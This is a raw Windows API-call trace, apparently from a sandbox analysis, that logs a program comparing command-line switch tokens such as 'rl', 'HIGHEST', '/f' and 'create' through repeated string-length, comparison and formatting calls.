[0128.524] lstrlenW (lpString="mo") returned 2 [0128.524] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.524] lstrlenW (lpString="rl") returned 2 [0128.524] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.524] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.524] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.524] lstrlenW (lpString="|mo|") returned 4 [0128.524] lstrlenW (lpString="|rl|") returned 4 [0128.524] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0128.524] SetLastError (dwErrCode=0x490) [0128.524] lstrlenW (lpString="d") returned 1 [0128.524] lstrlenW (lpString="d") returned 1 [0128.524] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.524] lstrlenW (lpString="rl") returned 2 [0128.524] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.524] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|d|") returned 3 [0128.524] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.524] lstrlenW (lpString="|d|") returned 3 [0128.524] lstrlenW (lpString="|rl|") returned 4 [0128.524] SetLastError (dwErrCode=0x490) [0128.524] lstrlenW (lpString="m") returned 1 [0128.524] lstrlenW (lpString="m") returned 1 [0128.524] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.524] lstrlenW (lpString="rl") returned 2 [0128.524] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.524] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|m|") returned 3 [0128.525] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.525] lstrlenW (lpString="|m|") returned 3 [0128.525] lstrlenW (lpString="|rl|") returned 4 [0128.525] SetLastError (dwErrCode=0x490) [0128.525] lstrlenW (lpString="i") returned 1 [0128.525] lstrlenW (lpString="i") returned 1 [0128.525] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.525] lstrlenW (lpString="rl") returned 2 [0128.525] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.525] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|i|") returned 3 [0128.525] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.525] lstrlenW (lpString="|i|") returned 3 [0128.525] lstrlenW (lpString="|rl|") returned 4 [0128.525] SetLastError (dwErrCode=0x490) [0128.525] lstrlenW (lpString="tn") returned 2 [0128.525] lstrlenW (lpString="tn") returned 2 [0128.525] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.525] lstrlenW (lpString="rl") returned 2 [0128.525] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.525] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tn|") returned 4 [0128.525] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.525] lstrlenW (lpString="|tn|") returned 4 [0128.525] lstrlenW (lpString="|rl|") returned 4 [0128.525] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0128.525] SetLastError (dwErrCode=0x490) [0128.525] lstrlenW (lpString="tr") returned 2 [0128.525] lstrlenW (lpString="tr") returned 2 [0128.525] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.526] lstrlenW (lpString="rl") returned 2 [0128.526] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.526] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|tr|") returned 4 [0128.526] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.526] lstrlenW (lpString="|tr|") returned 4 [0128.526] lstrlenW (lpString="|rl|") returned 4 [0128.526] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0128.526] SetLastError (dwErrCode=0x490) [0128.526] lstrlenW (lpString="st") returned 2 [0128.526] lstrlenW (lpString="st") returned 2 [0128.526] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.526] lstrlenW (lpString="rl") returned 2 [0128.526] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.526] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|st|") returned 4 [0128.526] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.526] lstrlenW (lpString="|st|") returned 4 [0128.526] lstrlenW (lpString="|rl|") returned 4 [0128.526] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0128.526] SetLastError (dwErrCode=0x490) [0128.526] lstrlenW (lpString="sd") returned 2 [0128.526] lstrlenW (lpString="sd") returned 2 [0128.526] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.526] lstrlenW (lpString="rl") returned 2 [0128.526] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.526] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sd|") returned 4 [0128.526] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.527] lstrlenW (lpString="|sd|") returned 4 [0128.527] lstrlenW (lpString="|rl|") returned 4 [0128.527] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0128.527] SetLastError (dwErrCode=0x490) [0128.527] lstrlenW (lpString="ed") returned 2 [0128.527] lstrlenW (lpString="ed") returned 2 [0128.527] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.527] lstrlenW (lpString="rl") returned 2 [0128.527] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.527] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ed|") returned 4 [0128.527] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.527] lstrlenW (lpString="|ed|") returned 4 [0128.527] lstrlenW (lpString="|rl|") returned 4 [0128.527] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0128.527] SetLastError (dwErrCode=0x490) [0128.527] lstrlenW (lpString="it") returned 2 [0128.527] lstrlenW (lpString="it") returned 2 [0128.527] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.527] lstrlenW (lpString="rl") returned 2 [0128.527] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.527] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|it|") returned 4 [0128.527] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.527] lstrlenW (lpString="|it|") returned 4 [0128.527] lstrlenW (lpString="|rl|") returned 4 [0128.527] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0128.527] SetLastError (dwErrCode=0x490) [0128.528] lstrlenW (lpString="et") returned 2 [0128.528] lstrlenW (lpString="et") returned 2 [0128.528] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.528] lstrlenW (lpString="rl") returned 2 [0128.528] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.528] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|et|") returned 4 [0128.528] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.528] lstrlenW (lpString="|et|") returned 4 [0128.528] lstrlenW (lpString="|rl|") returned 4 [0128.528] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0128.528] SetLastError (dwErrCode=0x490) [0128.528] lstrlenW (lpString="k") returned 1 [0128.528] lstrlenW (lpString="k") returned 1 [0128.528] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.528] lstrlenW (lpString="rl") returned 2 [0128.528] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.528] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|k|") returned 3 [0128.528] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.528] lstrlenW (lpString="|k|") returned 3 [0128.528] lstrlenW (lpString="|rl|") returned 4 [0128.528] SetLastError (dwErrCode=0x490) [0128.528] lstrlenW (lpString="du") returned 2 [0128.528] lstrlenW (lpString="du") returned 2 [0128.528] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.528] lstrlenW (lpString="rl") returned 2 [0128.528] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.528] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|du|") returned 4 [0128.529] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.529] lstrlenW (lpString="|du|") returned 4 [0128.529] lstrlenW (lpString="|rl|") returned 4 [0128.529] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0128.529] SetLastError (dwErrCode=0x490) [0128.529] lstrlenW (lpString="ri") returned 2 [0128.529] lstrlenW (lpString="ri") returned 2 [0128.529] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.529] lstrlenW (lpString="rl") returned 2 [0128.529] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.529] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ri|") returned 4 [0128.529] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.529] lstrlenW (lpString="|ri|") returned 4 [0128.529] lstrlenW (lpString="|rl|") returned 4 [0128.529] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0128.529] SetLastError (dwErrCode=0x490) [0128.529] lstrlenW (lpString="z") returned 1 [0128.529] lstrlenW (lpString="z") returned 1 [0128.529] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.529] lstrlenW (lpString="rl") returned 2 [0128.529] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.529] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|z|") returned 3 [0128.529] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.529] lstrlenW (lpString="|z|") returned 3 [0128.529] lstrlenW (lpString="|rl|") returned 4 [0128.529] SetLastError (dwErrCode=0x490) [0128.529] lstrlenW (lpString="f") returned 1 [0128.529] lstrlenW (lpString="f") returned 1 [0128.530] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.530] lstrlenW (lpString="rl") returned 2 [0128.530] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.530] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.530] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.530] lstrlenW (lpString="|f|") returned 3 [0128.530] lstrlenW (lpString="|rl|") returned 4 [0128.530] SetLastError (dwErrCode=0x490) [0128.530] lstrlenW (lpString="v1") returned 2 [0128.530] lstrlenW (lpString="v1") returned 2 [0128.530] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.530] lstrlenW (lpString="rl") returned 2 [0128.530] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.530] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|v1|") returned 4 [0128.530] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.530] lstrlenW (lpString="|v1|") returned 4 [0128.530] lstrlenW (lpString="|rl|") returned 4 [0128.530] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0128.530] SetLastError (dwErrCode=0x490) [0128.530] lstrlenW (lpString="xml") returned 3 [0128.530] lstrlenW (lpString="xml") returned 3 [0128.530] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.530] lstrlenW (lpString="rl") returned 2 [0128.530] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.530] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|xml|") returned 5 [0128.530] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.530] lstrlenW (lpString="|xml|") returned 5 [0128.530] lstrlenW (lpString="|rl|") returned 4 [0128.531] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0128.531] SetLastError (dwErrCode=0x490) [0128.531] lstrlenW (lpString="ec") returned 2 [0128.531] lstrlenW (lpString="ec") returned 2 [0128.531] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.531] lstrlenW (lpString="rl") returned 2 [0128.531] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.531] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ec|") returned 4 [0128.531] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.531] lstrlenW (lpString="|ec|") returned 4 [0128.531] lstrlenW (lpString="|rl|") returned 4 [0128.531] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0128.531] SetLastError (dwErrCode=0x490) [0128.531] lstrlenW (lpString="rl") returned 2 [0128.531] lstrlenW (lpString="rl") returned 2 [0128.531] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.531] lstrlenW (lpString="rl") returned 2 [0128.531] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.531] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.531] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rl|") returned 4 [0128.531] lstrlenW (lpString="|rl|") returned 4 [0128.531] lstrlenW (lpString="|rl|") returned 4 [0128.531] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0128.531] SetLastError (dwErrCode=0x0) [0128.531] SetLastError (dwErrCode=0x0) [0128.531] lstrlenW (lpString="HIGHEST") returned 7 [0128.531] lstrlenW (lpString="-/") returned 2 [0128.531] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0128.531] SetLastError (dwErrCode=0x490) [0128.532] SetLastError (dwErrCode=0x490) [0128.532] SetLastError (dwErrCode=0x0) [0128.532] lstrlenW (lpString="HIGHEST") returned 7 [0128.532] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0128.532] SetLastError (dwErrCode=0x490) [0128.532] SetLastError (dwErrCode=0x0) [0128.532] _memicmp (_Buf1=0x48d540, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.532] lstrlenW (lpString="HIGHEST") returned 7 [0128.532] lstrlenW (lpString="HIGHEST") returned 7 [0128.532] lstrlenW (lpString=" \x09") returned 2 [0128.532] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0128.532] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0128.532] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0128.532] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0128.532] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0128.532] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0128.532] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0128.532] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0128.532] GetLastError () returned 0x0 [0128.532] lstrlenW (lpString="HIGHEST") returned 7 [0128.532] lstrlenW (lpString="HIGHEST") returned 7 [0128.532] SetLastError (dwErrCode=0x0) [0128.532] SetLastError (dwErrCode=0x0) [0128.532] lstrlenW (lpString="/f") returned 2 [0128.533] lstrlenW (lpString="-/") returned 2 [0128.533] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.533] lstrlenW (lpString="create") returned 6 [0128.533] lstrlenW (lpString="create") returned 6 [0128.533] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.533] lstrlenW (lpString="f") returned 1 [0128.533] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.533] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|create|") returned 8 [0128.533] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.533] lstrlenW (lpString="|create|") returned 8 [0128.533] lstrlenW (lpString="|f|") returned 3 [0128.533] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0128.533] SetLastError (dwErrCode=0x490) [0128.533] lstrlenW (lpString="?") returned 1 [0128.533] lstrlenW (lpString="?") returned 1 [0128.533] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.533] lstrlenW (lpString="f") returned 1 [0128.533] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.533] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|?|") returned 3 [0128.533] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.533] lstrlenW (lpString="|?|") returned 3 [0128.533] lstrlenW (lpString="|f|") returned 3 [0128.533] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0128.533] SetLastError (dwErrCode=0x490) [0128.534] lstrlenW (lpString="s") returned 1 [0128.534] lstrlenW (lpString="s") returned 1 [0128.534] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.534] lstrlenW (lpString="f") returned 1 [0128.534] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.534] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|s|") returned 3 [0128.534] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.534] lstrlenW (lpString="|s|") returned 3 [0128.534] lstrlenW (lpString="|f|") returned 3 [0128.534] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0128.534] SetLastError (dwErrCode=0x490) [0128.534] lstrlenW (lpString="u") returned 1 [0128.534] lstrlenW (lpString="u") returned 1 [0128.534] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.534] lstrlenW (lpString="f") returned 1 [0128.534] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.534] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|u|") returned 3 [0128.534] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.534] lstrlenW (lpString="|u|") returned 3 [0128.534] lstrlenW (lpString="|f|") returned 3 [0128.534] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0128.534] SetLastError (dwErrCode=0x490) [0128.534] lstrlenW (lpString="p") returned 1 [0128.534] lstrlenW (lpString="p") returned 1 [0128.534] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.534] lstrlenW (lpString="f") returned 1 [0128.534] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.535] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|p|") returned 3 [0128.535] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.535] lstrlenW (lpString="|p|") returned 3 [0128.535] lstrlenW (lpString="|f|") returned 3 [0128.535] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0128.535] SetLastError (dwErrCode=0x490) [0128.535] lstrlenW (lpString="ru") returned 2 [0128.535] lstrlenW (lpString="ru") returned 2 [0128.535] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.535] lstrlenW (lpString="f") returned 1 [0128.535] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.535] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|ru|") returned 4 [0128.535] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.535] lstrlenW (lpString="|ru|") returned 4 [0128.535] lstrlenW (lpString="|f|") returned 3 [0128.535] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0128.535] SetLastError (dwErrCode=0x490) [0128.535] lstrlenW (lpString="rp") returned 2 [0128.535] lstrlenW (lpString="rp") returned 2 [0128.535] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.535] lstrlenW (lpString="f") returned 1 [0128.535] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.535] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|rp|") returned 4 [0128.535] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.535] lstrlenW (lpString="|rp|") returned 4 [0128.535] lstrlenW (lpString="|f|") returned 3 [0128.535] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0128.536] SetLastError (dwErrCode=0x490) [0128.536] lstrlenW (lpString="sc") returned 2 [0128.536] lstrlenW (lpString="sc") returned 2 [0128.536] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.536] lstrlenW (lpString="f") returned 1 [0128.536] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.536] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|sc|") returned 4 [0128.536] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.536] lstrlenW (lpString="|sc|") returned 4 [0128.536] lstrlenW (lpString="|f|") returned 3 [0128.536] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0128.536] SetLastError (dwErrCode=0x490) [0128.536] lstrlenW (lpString="mo") returned 2 [0128.536] lstrlenW (lpString="mo") returned 2 [0128.536] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.548] lstrlenW (lpString="f") returned 1 [0128.548] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.548] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|mo|") returned 4 [0128.548] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.548] lstrlenW (lpString="|mo|") returned 4 [0128.548] lstrlenW (lpString="|f|") returned 3 [0128.548] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0128.548] SetLastError (dwErrCode=0x490) [0128.548] lstrlenW (lpString="d") returned 1 [0128.548] lstrlenW (lpString="d") returned 1 [0128.548] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.548] lstrlenW (lpString="f") returned 1 [0128.548] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.548] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|d|") returned 3 [0128.548] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.548] lstrlenW (lpString="|d|") returned 3 [0128.548] lstrlenW (lpString="|f|") returned 3 [0128.548] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0128.548] SetLastError (dwErrCode=0x490) [0128.549] lstrlenW (lpString="m") returned 1 [0128.549] lstrlenW (lpString="m") returned 1 [0128.549] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.549] lstrlenW (lpString="f") returned 1 [0128.549] _memicmp (_Buf1=0x48c220, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.549] _vsnwprintf (in: _Buffer=0x48c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|m|") returned 3 [0128.549] _vsnwprintf (in: _Buffer=0x48c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c7e8 | out: _Buffer="|f|") returned 3 [0128.549] lstrlenW (lpString="|m|") returned 3 [0128.549] lstrlenW (lpString="|f|") returned 3 [0128.549] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0128.549] SetLastError (dwErrCode=0x490) [0128.549] lstrlenW (lpString="i") returned 1 [0128.549] lstrlenW (lpString="i") returned 1 [0128.549] _memicmp (_Buf1=0x48c1e0, _Buf2=0xffc81b08, _Size=0x7) returned 0 [0128.549] lstrlenW (lpString="f") returned 1 